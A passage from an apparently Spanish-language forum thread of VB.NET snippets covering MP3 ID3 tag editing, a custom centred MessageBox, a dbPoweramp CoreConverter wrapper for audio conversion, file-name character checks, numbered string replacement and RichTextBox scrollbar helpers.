[UltraID3].Year)
Catch ex As Exception
Throw New Exception(ex.Message)
Return String.Empty
End Try
End Function
''' <summary>
''' Sets a Tag field.
''' </summary>
Public Shared Sub Set_Tag_Field(ByVal File As String, _
ByVal FieldSetter As Action(Of UltraID3))
Try
[UltraID3].Read(File)
FieldSetter([UltraID3])
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Sets multiple Tag fields.
''' </summary>
Public Shared Sub Set_Tag_Fields(ByVal File As String, _
ByVal FieldSetter() As Action(Of UltraID3))
Try
[UltraID3].Read(File)
For Each Field As Action(Of UltraID3) In FieldSetter
Field([UltraID3])
Next
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Sets Main Picture Cover.
''' </summary>
Public Shared Sub Set_Main_Cover(ByVal File As String, _
ByVal Picture As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v2Tag.Frames.Add( _
New ID3v23PictureFrame(New Bitmap(Picture), PictureTypes.CoverFront, String.Empty, TextEncodingTypes.Unicode))
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Adds a Picture Cover.
''' </summary>
Public Shared Sub Add_Cover(ByVal File As String, _
ByVal Picture As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v2Tag.Frames.Add( _
New ID3v23PictureFrame(New Bitmap(Picture), PictureTypes.Other, String.Empty, TextEncodingTypes.Unicode))
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Deletes all Picture Covers.
''' </summary>
Public Shared Sub Delete_Covers(ByVal File As String)
Try
[UltraID3].Read(File)
[UltraID3].ID3v2Tag.Frames.Remove( _
[UltraID3].ID3v2Tag.Frames.GetFrames(MultipleInstanceID3v2FrameTypes.ID3v22Picture))
[UltraID3].ID3v2Tag.Frames.Remove( _
[UltraID3].ID3v2Tag.Frames.GetFrames(MultipleInstanceID3v2FrameTypes.ID3v23Picture))
[UltraID3].Write()
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
''' <summary>
''' Gets Main Picture Cover.
''' </summary>
Public Shared Function Get_Main_Cover(ByVal File As String) As Bitmap
Try
[UltraID3].Read(File)
If [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v23Picture, False) IsNot Nothing Then
Return DirectCast( _
[UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v23Picture, False), _
ID3v2PictureFrame).Picture
End If
If [UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v22Picture, False) IsNot Nothing Then
Return DirectCast( _
[UltraID3].ID3v2Tag.Frames.GetFrame(MultipleInstanceID3v2FrameTypes.ID3v22Picture, False), _
ID3v2PictureFrame).Picture
End If
Return Nothing
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the generic ID3 genre names.
''' </summary>
Public Shared Function Get_Generic_ID3_Genres() As String()
Return UltraID3.GenreInfos.Cast(Of GenreInfo).Select(Function(Genre) Genre.Name).ToArray
End Function
''' <summary>
''' Gets the Audio Bitrate.
''' </summary>
Public Shared Function Get_Bitrate(ByVal File As String) As Short
Try
[UltraID3].Read(File)
Return [UltraID3].FirstMPEGFrameInfo.Bitrate
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Audio Duration.
''' </summary>
Public Shared Function Get_Duration(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return String.Format("{0:00}:{1:00}:{2:00}:{3:000}", _
[UltraID3].FirstMPEGFrameInfo.Duration.Hours, _
[UltraID3].FirstMPEGFrameInfo.Duration.Minutes, _
[UltraID3].FirstMPEGFrameInfo.Duration.Seconds, _
[UltraID3].FirstMPEGFrameInfo.Duration.Milliseconds)
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Audio Frequency.
''' </summary>
Public Shared Function Get_Frequency(ByVal File As String) As Integer
Try
[UltraID3].Read(File)
Return [UltraID3].FirstMPEGFrameInfo.Frequency
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Audio MPEG Layer.
''' </summary>
Public Shared Function Get_Layer(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].FirstMPEGFrameInfo.Layer.ToString
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the Audio Channel mode.
''' </summary>
Public Shared Function Get_Channels(ByVal File As String) As String
Try
[UltraID3].Read(File)
Return [UltraID3].FirstMPEGFrameInfo.Mode.ToString
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Gets the File Size.
''' </summary>
Public Shared Function Get_Filesize(ByVal File As String) As Long
Try
[UltraID3].Read(File)
Return [UltraID3].Size
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
''' <summary>
''' Checks if VBR header is present in file.
''' </summary>
Public Shared Function IsVBR(ByVal File As String) As Boolean
Try
[UltraID3].Read(File)
Return [UltraID3].FirstMPEGFrameInfo.VBRInfo.WasFound
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
End Class
#End Region
Un custom MessageBox que se puede alinear en el centro del formulario y además se puede personalizar la fuente de texto usada.
Modo de empleo:
Using New CustomMessageBox(Me, New Font(New FontFamily("Lucida Console"), Font.SizeInPoints, FontStyle.Bold))
MessageBox.Show("Test Text", "Test Title", MessageBoxButtons.OK)
End Using
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms
Class CustomMessageBox : Implements IDisposable
Private mTries As Integer = 0
Private mOwner As Form
Private mFont As Font
' P/Invoke declarations
Private Const WM_SETFONT As Integer = &H30
Private Const WM_GETFONT As Integer = &H31
Private Delegate Function EnumThreadWndProc(hWnd As IntPtr, lp As IntPtr) As Boolean
<DllImport("user32.dll")> _
Private Shared Function EnumThreadWindows(tid As Integer, callback As EnumThreadWndProc, lp As IntPtr) As Boolean
End Function
<DllImport("kernel32.dll")> _
Private Shared Function GetCurrentThreadId() As Integer
End Function
<DllImport("user32.dll")> _
Private Shared Function GetClassName(hWnd As IntPtr, buffer As StringBuilder, buflen As Integer) As Integer
End Function
<DllImport("user32.dll")> _
Private Shared Function GetDlgItem(hWnd As IntPtr, item As Integer) As IntPtr
End Function
<DllImport("user32.dll")> _
Private Shared Function SendMessage(hWnd As IntPtr, msg As Integer, wp As IntPtr, lp As IntPtr) As IntPtr
End Function
<DllImport("user32.dll")> _
Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As RECT) As Boolean
End Function
<DllImport("user32.dll")> _
Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, w As Integer, h As Integer, repaint As Boolean) As Boolean
End Function
Structure RECT
Public Left As Integer
Public Top As Integer
Public Right As Integer
Public Bottom As Integer
End Structure
Public Sub New(owner As Form, Optional Custom_Font As Font = Nothing)
mOwner = owner
mFont = Custom_Font
owner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
End Sub
Private Sub findDialog()
' Enumerate windows to find the message box
If mTries < 0 Then
Return
End If
Dim callback As New EnumThreadWndProc(AddressOf checkWindow)
If EnumThreadWindows(GetCurrentThreadId(), callback, IntPtr.Zero) Then
If System.Threading.Interlocked.Increment(mTries) < 10 Then
mOwner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
End If
End If
End Sub
Private Function checkWindow(hWnd As IntPtr, lp As IntPtr) As Boolean
' Checks if <hWnd> is a dialog
Dim sb As New StringBuilder(260)
GetClassName(hWnd, sb, sb.Capacity)
If sb.ToString() <> "#32770" Then Return True
' Got it, get the STATIC control that displays the text
Dim hText As IntPtr = GetDlgItem(hWnd, &HFFFF)
Dim frmRect As New Rectangle(mOwner.Location, mOwner.Size)
Dim dlgRect As RECT
GetWindowRect(hWnd, dlgRect)
MoveWindow(hWnd, frmRect.Left + (frmRect.Width - dlgRect.Right + dlgRect.Left) \ 2, frmRect.Top + (frmRect.Height - dlgRect.Bottom + dlgRect.Top) \ 2, dlgRect.Right - dlgRect.Left, dlgRect.Bottom - dlgRect.Top, True)
If hText <> IntPtr.Zero Then
If mFont Is Nothing Then
' Get the current font
mFont = Font.FromHfont(SendMessage(hText, WM_GETFONT, IntPtr.Zero, IntPtr.Zero))
End If
SendMessage(hText, WM_SETFONT, mFont.ToHfont(), New IntPtr(1))
End If
' Done
Return False
End Function
Public Sub Dispose() Implements IDisposable.Dispose
mTries = -1
mOwner = Nothing
If mFont IsNot Nothing Then mFont.Dispose()
End Sub
End Class
Un ayudante para manejar la aplicación dBpoweramp Music Converter, es el mejor conversor archivos de música a cualquier formato.
http://www.dbpoweramp.com/dmc.htm
Le agregué lo necesario para convertir a MP3, WAV, y WMA, se puede extender para agregar todos los demás codecs, pero es muy tedioso...
Tambiñen le agregué un par de eventos para capturar el progreso de conversión y mensajes de errores, el modo de empleo está explicado en los primeros comentarios.
PD: También existe una librería llamada dMcscriptinglib.dll, pero los autores de dbPowerAmp me dijeron que no es posible capturar el progreso de una conversión usando la librería, por ese motivo uso el executable CLI.
EDITO: Corregido un bug en las Enumeraciones del SampleRate de los Codecs, y he simplificado parte del código.
#Region " CoreConverter Helper "
' [ CoreConverter Helper ]
'
' // By Elektro H@cker
'
'
' Instructions:
'
' 1. Add the "CoreConverter.exe" into the project,
' together with the dbPoweramp Effects and Codec folders.
'
' Examples :
'
' -------------------
' CONVERT FILE TO MP3
' -------------------
' CoreConverter.Convert_To_MP3("C:\Input.wav", "C:\Output.mp3", _
' CoreConverter.Lame_Bitrate.kbps_320, _
' CoreConverter.Lame_Bitrate_Mode.cbr, _
' CoreConverter.Lame_Profile.SLOW, _
' CoreConverter.Lame_Quality.Q0_Maximum, _
' CoreConverter.Lame_Khz.Same_As_Source, _
' CoreConverter.Lame_Channels.auto, _
' { _
' CoreConverter.DSP_Effects.Delete_Output_File_on_Error, _
' CoreConverter.DSP_Effects.Recycle_Source_File_After_Conversion _
' }, _
' False, _
' CoreConverter.Priority.normal)
'
' -------------------
' CONVERT FILE TO WAV
' -------------------
' CoreConverter.Convert_To_WAV_Uncompressed("C:\Input.mp3", "C:\Output.wav", _
' CoreConverter.WAV_Uncompressed_Bitrate.Same_As_Source, _
' CoreConverter.WAV_Uncompressed_Khz.Same_As_Source, _
' CoreConverter.WAV_Uncompressed_Channels.Same_As_Source, , False)
'
' -------------------
' CONVERT FILE TO WMA
' -------------------
' CoreConverter.Convert_To_WMA("C:\Input.mp3", "C:\Output.wma", _
' CoreConverter.WMA_9_2_BitRates.Kbps_128, _
' CoreConverter.WMA_9_2_Khz.Khz_44100, _
' CoreConverter.WMA_9_2_Channels.stereo, , False)
'
' ------
' EVENTS
' ------
' Public WithEvents Converter As New CoreConverter()
'
' Sub Converter_Progress(Progress As Integer, e As EventArgs) Handles Converter.PercentDone
' ProgressBar1.Maximum = 59
' ProgressBar1.Step = 1
' ProgressBar1.PerformStep()
' End Sub
'
' Sub Converter_Message(Message As String, e As EventArgs) Handles Converter.Exited
' ProgressBar1.Value = 0
' MessageBox.Show(Message)
' End Sub
Public Class CoreConverter : Implements IDisposable
#Region " Variables "
' <summary>
' Gets or sets CoreConverter.exe executable path.
' </summary>
Public Shared CoreConverter_Location As String = ".\CoreConverter.exe"
' Stores the CoreConverter process progress
Private Shared CurrentProgress As Integer = 0
' Stores the CoreConverter process StandarOutput
Private Shared StandardOutput As String = String.Empty
' Stores the CoreConverter process ErrorOutput
Private Shared ErrorOutput As String = String.Empty
' Stores the next output character
Private Shared OutputCharacter As Char = Nothing
' Stores the DSP Effects formatted string
Private Shared Effects As String = String.Empty
#End Region
#Region " Events "
' <summary>
' Event raised when conversion progress changes.
' </summary>
Public Shared Event PercentDone As EventHandler(Of PercentDoneEventArgs)
Public Class PercentDoneEventArgs : Inherits EventArgs
Public Property Progress As Integer
End Class
' <summary>
' Event raised when CoreConverter process has exited.
' </summary>
Public Shared Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
Public Property Message As String
End Class
#End Region
#Region " Process Info "
' CoreConverter Process Information.
Private Shared CoreConverter As New Process() With { _
.StartInfo = New ProcessStartInfo With { _
.CreateNoWindow = True, _
.UseShellExecute = False, _
.RedirectStandardError = True, _
.RedirectStandardOutput = True, _
.StandardErrorEncoding = System.Text.Encoding.Unicode, _
.StandardOutputEncoding = System.Text.Encoding.Unicode}}
#End Region
#Region " CoreConverter Enumerations "
' Priority level of CoreConverter.exe
Enum Priority
idle
low
normal
high
End Enum
' DSP Effects
Public Enum DSP_Effects
Delete_Output_File_on_Error ' Delete failed conversion (not deletes source file).
Delete_Source_File_After_Conversion ' Delete source file after conversion.
Recycle_Source_File_After_Conversion ' Send source file to recycle bin after conversion.
Karaoke_Remove_Voice ' Remove voice from file.
Karaoke_Remove_Instrument ' Remove instruments from file.
Reverse ' Reverse complete audio file.
Write_Silence ' Write silence at start of file.
End Enum
#End Region
#Region " Codec Enumerations "
#Region " MP3 Lame "
Enum Lame_Bitrate
kbps_8 = 8
kbps_16 = 16
kbps_24 = 24
kbps_32 = 32
kbps_40 = 40
kbps_48 = 48
kbps_56 = 56
kbps_64 = 64
kbps_80 = 80
kbps_96 = 96
kbps_112 = 112
kbps_128 = 128
kbps_144 = 144
kbps_160 = 160
kbps_192 = 192
kbps_224 = 224
kbps_256 = 256
kbps_320 = 320
End Enum
Enum Lame_Bitrate_Mode
cbr
abr
End Enum
Enum Lame_Profile
NORMAL
FAST
SLOW
End Enum
Enum Lame_Quality
Q0_Maximum = 0
Q1 = 1
Q2 = 2
Q3 = 3
Q4 = 4
Q5 = 5
Q6 = 6
Q7 = 7
Q8 = 8
Q9_Minimum = 9
End Enum
Enum Lame_Khz
Same_As_Source
khz_8000 = 8000
khz_11025 = 11025
khz_12000 = 12000
khz_16000 = 16000
khz_22050 = 22050
khz_24000 = 24000
khz_32000 = 32000
khz_44100 = 44100
khz_48000 = 48000
End Enum
Enum Lame_Channels
auto
mono
stereo
joint_stereo
forced_joint_stereo
forced_stereo
dual_channels
End Enum
#End Region
#Region " WAV Uncompressed "
Enum WAV_Uncompressed_Bitrate
Same_As_Source
bits_8 = 8
bits_16 = 16
bits_24 = 24
bits_32 = 32
End Enum
Enum WAV_Uncompressed_Khz
Same_As_Source
khz_8000 = 8000
khz_11025 = 11025
khz_12000 = 12000
khz_16000 = 16000
khz_22050 = 22050
khz_24000 = 24000
khz_32000 = 32000
khz_44100 = 44100
khz_48000 = 48000
khz_96000 = 96000
khz_192000 = 192000
End Enum
Enum WAV_Uncompressed_Channels
Same_As_Source
Channels_1_Mono = 1
Channels_2_Stereo = 2
Channels_3 = 3
Channels_4_Quadraphonic = 4
Channels_5_Surround = 5
Channels_6_Surround_DVD = 6
Channels_7 = 7
Channels_8_Theater = 8
End Enum
#End Region
#Region " WMA 9.2 "
Enum WMA_9_2_BitRates
Kbps_12 = 12
Kbps_16 = 16
Kbps_20 = 20
Kbps_22 = 22
Kbps_24 = 24
Kbps_32 = 32
Kbps_40 = 40
Kbps_48 = 48
Kbps_64 = 64
Kbps_80 = 80
Kbps_96 = 96
Kbps_128 = 128
Kbps_160 = 160
Kbps_192 = 192
Kbps_256 = 256
Kbps_320 = 320
End Enum
Enum WMA_9_2_Khz
Khz_8000 = 8
Khz_16000 = 16
Khz_22050 = 22
Khz_32000 = 32
Khz_44100 = 44
Khz_48000 = 48
End Enum
Enum WMA_9_2_Channels
mono
stereo
End Enum
#End Region
#End Region
#Region " Codec Procedures "
#Region " MP3 Lame "
' <summary>
' Converts a file to MP3 using Lame codec.
' </summary>
Public Shared Sub Convert_To_MP3(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As Lame_Bitrate, _
ByVal Bitrate_Mode As Lame_Bitrate_Mode, _
ByVal Encoding_Profile As Lame_Profile, _
ByVal Quality As Lame_Quality, _
ByVal Khz As Lame_Khz, _
ByVal Channels As Lame_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Parametters("mp3 (Lame)", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
CoreConverter.StartInfo.Arguments &= _
String.Format("-b {0} --{1} -encoding=""{2}"" -freq=""{3}"" -channels=""{4}"" --noreplaygain --extracli=""-q {5}""", _
CInt(Bitrate), _
Bitrate_Mode.ToString, _
Encoding_Profile.ToString, _
If(Khz = Lame_Khz.Same_As_Source, "", CInt(Khz)), _
If(Channels = Lame_Channels.auto, "", Channels), _
CInt(Quality))
Run_CoreConverter()
End Sub
#End Region
#Region " WAV Uncompressed "
' <summary>
' Converts a file to WAV
' </summary>
Public Shared Sub Convert_To_WAV_Uncompressed(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As WAV_Uncompressed_Bitrate, _
ByVal Khz As WAV_Uncompressed_Khz, _
ByVal Channels As WAV_Uncompressed_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Parametters("Wave", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
CoreConverter.StartInfo.Arguments &= _
String.Format("-compression=""PCM"" -bits=""{0}"" -freq=""{1}"" -channels=""{2}""", _
If(Bitrate = WAV_Uncompressed_Bitrate.Same_As_Source, "", CInt(Bitrate)), _
If(Khz = WAV_Uncompressed_Khz.Same_As_Source, "", CInt(Khz)), _
If(Channels = WAV_Uncompressed_Channels.Same_As_Source, "", CInt(Channels)))
Run_CoreConverter()
End Sub
#End Region
#Region " WMA 9.2 "
' <summary>
' Converts a file to WMA 9.2
' </summary>
Public Shared Sub Convert_To_WMA(ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Bitrate As WMA_9_2_BitRates, _
ByVal Khz As WMA_9_2_Khz, _
ByVal Channels As WMA_9_2_Channels, _
Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
Optional ByVal Update_Tag As Boolean = True, _
Optional ByVal Priority As Priority = Priority.normal, _
Optional ByVal Processor As Short = 1)
Get_Effects(DSP_Effects)
Set_Main_Parametters("Windows Media Audio 10", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
CoreConverter.StartInfo.Arguments &= _
String.Format("-codec=""Windows Media Audio 9.2"" -settings=""{0} kbps, {1} kHz, {2} CBR""",
CInt(Bitrate), _
CInt(Khz), _
Channels.ToString)
Run_CoreConverter()
End Sub
#End Region
#End Region
#Region " Run Converter Procedure "
Private Shared Sub Run_CoreConverter()
CoreConverter.StartInfo.FileName = CoreConverter_Location
CoreConverter.Start()
While Not CoreConverter.HasExited
OutputCharacter = ChrW(CoreConverter.StandardOutput.Read)
If OutputCharacter = "*" Then
CurrentProgress += 1 ' Maximum value is 59, so a ProgressBar Maximum property value would be 59.
RaiseEvent PercentDone(CurrentProgress, Nothing)
End If
If CurrentProgress = 59 Then
' I store the last line(s) 'cause it has interesting information:
' Example message: Conversion completed in 30 seconds x44 realtime encoding
StandardOutput = CoreConverter.StandardOutput.ReadToEnd.Trim
End If
End While
' Stores the Error Message (If any)
ErrorOutput = CoreConverter.StandardError.ReadToEnd
Select Case CoreConverter.ExitCode
Case 0 : RaiseEvent Exited(StandardOutput, Nothing) ' Return StandardOutput
Case Else : RaiseEvent Exited(ErrorOutput, Nothing) ' Return ErrordOutput
End Select
CurrentProgress = Nothing
OutputCharacter = Nothing
StandardOutput = Nothing
ErrorOutput = Nothing
Effects = Nothing
CoreConverter.Close()
End Sub
#End Region
#Region " Miscellaneous functions "
' <summary>
' Checks if CoreConverter process is avaliable.
' </summary>
Public Shared Function Is_Avaliable() As Boolean
Return IO.File.Exists(CoreConverter_Location)
End Function
' Set the constant parametters of CoreConverter process
Private Shared Sub Set_Main_Parametters(ByVal Codec_Name As String, _
ByVal In_File As String, _
ByVal Out_File As String, _
ByVal Update_Tag As String, _
ByVal Effects As String, _
ByVal Priority As String, _
ByVal Processor As String)
CoreConverter.StartInfo.Arguments = _
String.Format("-infile=""{0}"" -outfile=""{1}"" -convert_to=""{2}"" {3} {4} -priority=""{5}"" -processor=""{6}"" ", _
In_File, Out_File, Codec_Name, Update_Tag, Effects, Priority, Processor)
End Sub
' Returns all joined DSP Effects formatted string
Private Shared Function Get_Effects(ByVal DSP_Effects() As DSP_Effects) As String
If DSP_Effects Is Nothing Then Return Nothing
For Effect As Integer = 0 To DSP_Effects.Length - 1
Effects &= String.Format(" -dspeffect{0}={1}", _
Effect + 1, _
Format_DSP_Effect(DSP_Effects(Effect).ToString))
Next Effect
Return Effects
End Function
' Returns a DSP Effect formatted string
Private Shared Function Format_DSP_Effect(ByVal Effect As String)
Select Case Effect
Case "Reverse" : Return """Reverse"""
Case "Delete_Output_File_on_Error" : Return """Delete Destination File on Error="""
Case "Recycle_Source_File_After_Conversion" : Return """Delete Source File=-recycle"""
Case "Delete_Source_File_After_Conversion" : Return """Delete Source File="""
Case "Karaoke_Remove_Voice" : Return """Karaoke (Voice_ Instrument Removal)="""
Case "Karaoke_Remove_Instrument" : Return """Karaoke (Voice_ Instrument Removal)=-i"""
Case "Write_Silence" : Return """Write Silence=-lengthms={qt}2000{qt}""" ' 2 seconds
Case Else : Return String.Empty
End Select
End Function
#End Region
#Region " Dispose Objects "
Public Sub Dispose() Implements IDisposable.Dispose
' CoreConverter_Location = Nothing ' Do not change if want to preserve a custom location.
OutputCharacter = Nothing
StandardOutput = Nothing
ErrorOutput = Nothing
CurrentProgress = Nothing
Effects = Nothing
CoreConverter.Close()
GC.SuppressFinalize(Me)
End Sub
#End Region
End Class
#End Region
Este snippet comprueba si un nombre de archivo contiene caracteres que no estén en la tabla ASCII (sin contar la tabla ASCII extendida)
Un ejemplo de uso sería, el que yo le doy:
yo dejo el PC descargando miles de archivos de música diariamente, muchos de los nombres de archivos descargados contienen caracteres rusos y otras mierd@s que luego me toca renombrar de forma manual porque no se pueden leer estos nomrbes de archivos por otros programas que uso.
PD: No contiene todos los caracteres de la tabla ASCII normal, recordemos que Windows no permite escribir ciertos caracteres ASCII en los nombres de archivo, asi que no es necesario añadir dichos caracteres la función, además le añadí el caracter "Ñ", y los caracteres de la tabla ASCII extendida yo los considero caracteres extraños, quizás el nombre de la función debería ser: "Filename Has Strange Characters? " :P.
#Region " Filename Has Non ASCII Characters "
' [ Filename Has Non ASCII Characters Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Filename_Has_Non_ASCII_Characters("ABC├│")) ' Result: True
' MsgBox(Filename_Has_Non_ASCII_Characters("ABCDE")) ' Result: False
Private Function Filename_Has_Non_ASCII_Characters(ByVal [String] As String) As Boolean
Dim Valid_Characters As String = ( _
"abcdefghijklmnñopqrstuvwxyz" & _
"ABCDEFGHIJKLMNÑOPQRSTUVWXYZ" & _
"áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙçÇ" & _
"@#~€!·$%&()=!'ºª+-_.,;{}[]" & _
":\" & _
"0123456789" & _
" " _
)
Return Not [String].ToCharArray() _
.All(Function(character) Valid_Characters.Contains(character))
' Valid_Characters = Nothing
End Function
#End Region
Este código reemplaza una palabra en un string, por una secuencia numérica:
#Region " Replace Word (Increment method) "
' [ Replace Word (Increment method) ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Replace_Word_By_Increment("Hello World!, Hello World!", "Hello", , 3)) ' Result: 001 World!, 002 World!
Private Function Replace_Word_By_Increment(ByVal str As String, _
ByVal replace As String, _
Optional ByVal IgnoreCase As System.StringComparison = StringComparison.CurrentCulture, _
Optional ByVal DigitLength As Long = 0) As String
Dim str_split() As String = str.Split
Dim replacement As String = Nothing
Dim IndexCount As Long = 0
DigitLength = If(DigitLength = 0, replace.Length, DigitLength)
For Item As Long = 0 To str_split.LongCount - 1
If str_split(Item).Equals(replace, IgnoreCase) Then
replacement &= Threading.Interlocked.Increment(IndexCount).ToString
While Not replacement.Length >= DigitLength
replacement = replacement.Insert(0, "0")
End While
str_split(Item) = replacement
replacement = Nothing
End If
Next Item
Return String.Join(Convert.ToChar(Keys.Space), str_split)
End Function
#End Region
Este código reemplaza un patrón de búsqueda en un string, por una secuencia numérica:
#Region " Replace String (Increment method) "
' [ Replace String (Increment method) ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Replace_String_By_Increment("Hello World!, Hello World!", New System.Text.RegularExpressions.Regex("Hello\sWorld", RegexOptions.IgnoreCase), 3)) ' Result: 001!, 002!
Private Function Replace_String_By_Increment(ByVal str As String, _
ByVal replace As System.Text.RegularExpressions.Regex, _
Optional ByVal DigitLength As Long = 0) As String
DigitLength = If(DigitLength = 0, replace.ToString.Length, DigitLength)
Dim IndexCount As Integer = 0
Dim replacement As String = Nothing
Dim matches As System.Text.RegularExpressions.MatchCollection = replace.Matches(str)
For Each match As System.Text.RegularExpressions.Match In matches
replacement &= Threading.Interlocked.Increment(IndexCount).ToString
While Not replacement.Length >= DigitLength
replacement = replacement.Insert(0, "0")
End While
str = replace.Replace(str, replacement, 1, match.Index - (match.Length * (IndexCount - 1)))
replacement = Nothing
Next
matches = Nothing
replacement = Nothing
IndexCount = 0
Return str
End Function
#End Region
EDITO:
Un sencillo proyecto para testear:
(http://img266.imageshack.us/img266/8580/9uao.png) (http://img30.imageshack.us/img30/6329/ltaq.png)
Descarga: http://www.mediafire.com/?6b6qdy9iyigm63v
He descubierto este mensaje de Windows para mover el ScrollBar de un control pudiendo especificar la cantidad de lineas a mover, y la dirección.
<System.Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function SendMessage(hWnd As IntPtr, wMsg As UInteger, wParam As UIntPtr, lParam As IntPtr) As Integer
End Function
' Examples:
'
' SendMessage(RichTextBox1.Handle, &HB6, 0, 1) ' Move 1 line to down
' SendMessage(RichTextBox1.Handle, &HB6, 0, 5) ' Move 5 lines to down
' SendMessage(RichTextBox1.Handle, &HB6, 0, -1) ' Move 1 line to up
' SendMessage(RichTextBox1.Handle, &HB6, 0, -5) ' Move 5 lines to up
Con estas funciones podemos acceder a la información de la ScrollBar integrada de un control (la scrollbar vertical de un RichTextBox por ejemplo), para averiguar si la barra está scrolleada hacia abajo del todo, o hacia arriba del todo, o si ha sobrepasado el límite de abajo/arriba (aunque esto último creo que no pede suceder, pero bueno).
Esto es útil para prevenir el molesto efecto de "rebote" del método ScrollToCaret cuando intentamos scrollear la ScrollBar de un richtextbox cuando ha llegado al límite.
Ejemplo de uso:
RichTextBox1.Select(RichTextBox1.TextLength - 1, 1)
If Not ScrollBarInfo.IsAtBottom(RichTextBox1) Then
RichTextBox1.ScrollToCaret()
End If
Public Class ScrollBarInfo
<System.Runtime.InteropServices.DllImport("user32")> _
Private Shared Function GetScrollInfo(hwnd As IntPtr, nBar As Integer, ByRef scrollInfo As SCROLLINFO) As Integer
End Function
Private Shared scrollInf As New SCROLLINFO()
Private Structure SCROLLINFO
Public cbSize As Integer
Public fMask As Integer
Public min As Integer
Public max As Integer
Public nPage As Integer
Public nPos As Integer
Public nTrackPos As Integer
End Structure
Private Shared Sub Get_ScrollInfo(control As Control)
scrollInf = New SCROLLINFO()
scrollInf.cbSize = System.Runtime.InteropServices.Marshal.SizeOf(scrollInf)
scrollInf.fMask = &H10 Or &H1 Or &H2 'SIF_RANGE = &H1, SIF_PAGE= &H2, SIF_TRACKPOS = &H10
GetScrollInfo(control.Handle, 1, scrollInf)
End Sub
Public Shared Function ReachedBottom(control As Control) As Boolean
Get_ScrollInfo(control)
Return scrollInf.max = scrollInf.nTrackPos + scrollInf.nPage
End Function
Public Shared Function ReachedTop(control As Control) As Boolean
Get_ScrollInfo(control)
Return scrollInf.nTrackPos < 0
End Function
Public Shared Function IsAtBottom(control As Control) As Boolean
Get_ScrollInfo(control)
Return scrollInf.max = (scrollInf.nTrackPos + scrollInf.nPage) - 1
End Function
Public Shared Function IsAtTop(control As Control) As Boolean
Get_ScrollInfo(control)
Return scrollInf.nTrackPos = 0
End Function
End Class
Cita de: EleKtro H@cker en 13 Octubre 2013, 03:55 AM
Este código reemplaza una palabra en un string, por una secuencia numérica:
#Region " Replace Word (Increment method) "
' [ Replace Word (Increment method) ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Replace_Word_By_Increment("Hello World!, Hello World!", "Hello", , 3)) ' Result: 001 World!, 002 World!
Private Function Replace_Word_By_Increment(ByVal str As String, _
ByVal replace As String, _
Optional ByVal IgnoreCase As System.StringComparison = StringComparison.CurrentCulture, _
Optional ByVal DigitLength As Long = 0) As String
Dim str_split() As String = str.Split
Dim replacement As String = Nothing
Dim IndexCount As Long = 0
DigitLength = If(DigitLength = 0, replace.Length, DigitLength)
For Item As Long = 0 To str_split.LongCount - 1
If str_split(Item).Equals(replace, IgnoreCase) Then
replacement &= Threading.Interlocked.Increment(IndexCount).ToString
While Not replacement.Length >= DigitLength
replacement = replacement.Insert(0, "0")
End While
str_split(Item) = replacement
replacement = Nothing
End If
Next Item
Return String.Join(Convert.ToChar(Keys.Space), str_split)
End Function
#End Region
Este código reemplaza un patrón de búsqueda en un string, por una secuencia numérica:
#Region " Replace String (Increment method) "
' [ Replace String (Increment method) ]
'
' // By Elektro H@cker
'
' Examples :
